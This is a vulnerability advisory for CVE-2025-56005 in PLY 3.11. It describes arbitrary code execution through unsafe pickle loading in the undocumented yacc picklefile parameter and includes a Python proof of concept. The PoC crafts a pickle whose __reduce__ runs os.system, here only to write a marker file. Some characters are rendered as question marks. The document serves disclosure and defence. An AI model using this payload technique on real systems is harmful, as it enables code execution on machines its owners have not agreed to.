PLY 3.11 Arbitrary Code Execution
PLY 3.11 Arbitrary Code Execution
PLY 3.11 Arbitrary Code Execution

# ? Undocumented Remote Code Execution PLY 3.11 Arbitrary Code Execution

# ? Undocumented Remote Code Execution in PLY CVE?2025?56005

```
CVE ID: CVE?2025?56005
Reported by: Ahmed Abd
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex?Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex?Yacc)
Affected Component:** ply/yacc.py` ? `LRTable.read_pickle()` via `yacc(picklefile=...)`

```
## Summary

An undocumented and unsafe feature in the PyPI?distributed version of **PLY 3.11** allows **arbitrary code execution** when the `yacc()` function is invoked with the `picklefile` parameter.

The `picklefile` parameter causes PLY to deserialize a `.pkl` file using Python?s `pickle.load()` **without validation**. Because Python?s `pickle` module supports execution of arbitrary code during deserialization (e.g., via `__reduce__()`), an attacker who can control the supplied pickle file can execute arbitrary code during parser initialization.

This parameter is **not documented** in the official PLY documentation or GitHub repository, yet it is active in the PyPI release.

---

## Impact

attacker can control, replace, or influence the `.pkl` file passed to `yacc(picklefile=...)`, they can achieve:

* Arbitrary code execution
* Execution during application startup
* Code execution before any parsing logic is reached

This may affect applications that load parser tables from:

* Cached locations
* Shared directories
* CI/CD pipelines
* Configurable or writable paths

---

## ? Vulnerability Details

* **Vulnerability Type:** Arbitrary Code Execution
* **Attack Type:** Context?dependent
* **Attack Vector:** Unsafe deserialization of attacker?controlled pickle file
* **Impact:** Code execution
* **CWE:** CWE?502 (Deserialization of Untrusted Data)

### Affected Functionality

* `ply.yacc.yacc(picklefile=...)`
* `LRTable.read_pickle()` in `ply/yacc.py`

---

## Additional Information (Context & Risk)

This vulnerability presents elevated risk due to its **stealthy nature** and potential for **persistence**.

The `picklefile` parameter is **undocumented** in the official PLY documentation and GitHub repository. However, the PyPI?distributed version of PLY 3.11 includes this functionality and processes the supplied file using `pickle.load()` without validation.

Because Python?s `pickle` module permits execution of embedded code during deserialization, a malicious pickle file can execute arbitrary code **during parser setup**, before any parsing logic is invoked.

At the time of writing, the maintainer has not publicly acknowledged this behavior.

This functionality can be abused to introduce **persistent backdoors**, particularly in environments where parser table files are:

* Cached on disk
* Shared between users or services
* Generated or reused in CI/CD pipelines
* Loaded from configurable or writable paths

Given the lack of documentation, silent execution path, and the high impact of unsafe deserialization, a CVE assignment is warranted to raise awareness and protect downstream users.

---

## Proof of Concept (PoC)

This proof of concept demonstrates arbitrary code execution when a malicious pickle file is supplied via the undocumented `picklefile` parameter.

### PoC Overview

The PoC:

* Defines a minimal lexer and parser
* Crafts a malicious pickle payload
* Executes a system command during deserialization

### Expected Result

When `yacc(picklefile='exploit.pkl')` is invoked, arbitrary code is executed during parser initialization.

```python
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
r'example'
return t

def p_sample(p):
'sample : EXAMPLE'
pass

class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))

malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
```

---

## Mitigation

* Do **not** use the `picklefile` parameter with untrusted or externally writable files
* Avoid loading parser tables from user?controlled locations
* Treat all pickle files as **unsafe input**
* Prefer regenerating parser tables rather than loading them from disk

---


## References

* PLY GitHub Repository: [https://github.com/dabeaz/ply](https://github.com/dabeaz/ply)
* PyPI Package: [https://pypi.org/project/ply/](https://pypi.org/project/ply/)
* Python Pickle Documentation: [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)
* Proof of Concept Repository:
[https://github.com/bohmiiidd/Undocumented-RCE-in-PLY](https://github.com/bohmiiidd/Undocumented-RCE-in-PLY)
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.